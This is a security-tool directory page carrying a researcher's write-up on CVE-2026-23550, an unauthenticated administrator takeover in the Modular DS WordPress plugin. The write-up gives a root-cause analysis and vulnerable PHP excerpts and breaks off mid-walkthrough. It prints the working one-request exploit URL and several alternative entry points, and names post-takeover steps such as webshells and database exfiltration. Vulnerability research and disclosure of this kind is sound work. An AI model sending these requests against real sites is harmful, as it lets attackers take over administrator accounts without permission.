Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23550 — Root-cause analysis, PoC, and detection guidance for CVE-2026-23550, a critical unauthenticated admin session takeover in the WordPress plugin Modular DS. | Kitploit
Tools/GitHubGitHub/1beelze/cve-2026-23550
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub1beelze/cve-2026-23550

CVE-2026-23550

Root-cause analysis, PoC, and detection guidance for CVE-2026-23550, a critical unauthenticated admin session takeover in the WordPress plugin Modular DS.

View Repository
182 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · Unauthenticated Admin Session Takeover

CVSS Type Auth Vector Status Patched

Root Cause Analysis · Source Code Walkthrough · Patch Diff · Educational PoC

By: Beelze ( zeroday 1diot9 )


📌 TL;DR

Modular DS (modular-connector) is a WordPress site-management plugin with 40,000+ active installs. Versions ≤ 2.5.1 contain a chain of five compounding defects that allow any unauthenticated attacker to bypass authentication, invoke the plugin's internal login endpoint, and receive a wordpress_logged_in_* session cookie for the first administrator account — with a single HTTP GET request.

GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Result: full administrator takeover. Attacker can install malicious plugins, drop webshells, create backup admin accounts, exfiltrate database.


📖 Table of Contents

  • Affected Versions
  • Attack Surface
  • Root Cause Analysis
  • Source Code Walkthrough
  • Patch Diff (2.5.1 → 2.5.2)
  • Proof of Concept
  • Detection & Remediation
  • Timeline
  • References
  • Disclaimer

🎯 Affected Versions

FieldValue
Plugin NameModular DS
Slugmodular-connector
Vulnerable<= 2.5.1
Patched2.5.2
Active Installs~40,000
CVSS v3.110.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — Identification and Authentication Failures

🎯 Attack Surface

The vulnerability triggers a custom Laravel-derived router embedded in the plugin. The plugin ships its own HTTP kernel (Ares/Framework) that hooks into WordPress's parse_request action to hijack requests before WordPress's own routing takes over.

Prerequisites: none (plugin installed & active, connected to Modular SaaS — default for all live installations).

Entry points (any single one is sufficient):

/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>

🚩 Root Cause Analysis

The vulnerability is not a single flaw — it is a chain of five compounding defects. Each layer, viewed in isolation, may seem defensible; combined, they collapse into a pre-authentication admin takeover.

flowchart TB
    A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
    B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
    C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
    D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
    E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Defect Summary

#LayerFileRoot Issue
①Bootstrap gateHttpUtils.php:64Query-only origin=mo check with no crypto/nonce
②URL→route matcherRouter.php:20Implicit URL resolution passed straight to filter
③Route override filterRouteServiceProvider.php:46Unknown type falls through with original route intact
④Auth guardModularGuard.php:16Validates server-side OAuth state, not request identity
⑤Login controllerAuthController.php:66Silent fallback to getAdminUser() on missing input

🔬 Source Code Walkthrough

① Bootstrap Gate — HttpUtils::isDirectRequest()

File: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ query-param only, no signature
    }
    return false;
}

Issue: The "direct request" mode — intended to identify legitimate calls from the Modular SaaS backend — is gated on plaintext query parameters with no HMAC, no JWT, no signed nonce, no IP allowlist. Any attacker can flip this switch.

② URL→Route Implicit Resolution — Router::findRoute()

File: vendor/ares/framework/src/Foundation/Routing/Router.php:20

protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resolved to route BEFORE filter runs
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

Issue: Laravel's routes->match($request) resolves /api/modular-connector/login/xxx into the login route (auth-guarded) before the security filter even runs. The filter receives this route as an input, giving it the burden of proving the route is illegitimate rather than authorizing it explicitly.

③ Filter Fall-through — bindOldRoutes()

File: src/app/Providers/RouteServiceProvider.php:46

public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));
Download Tool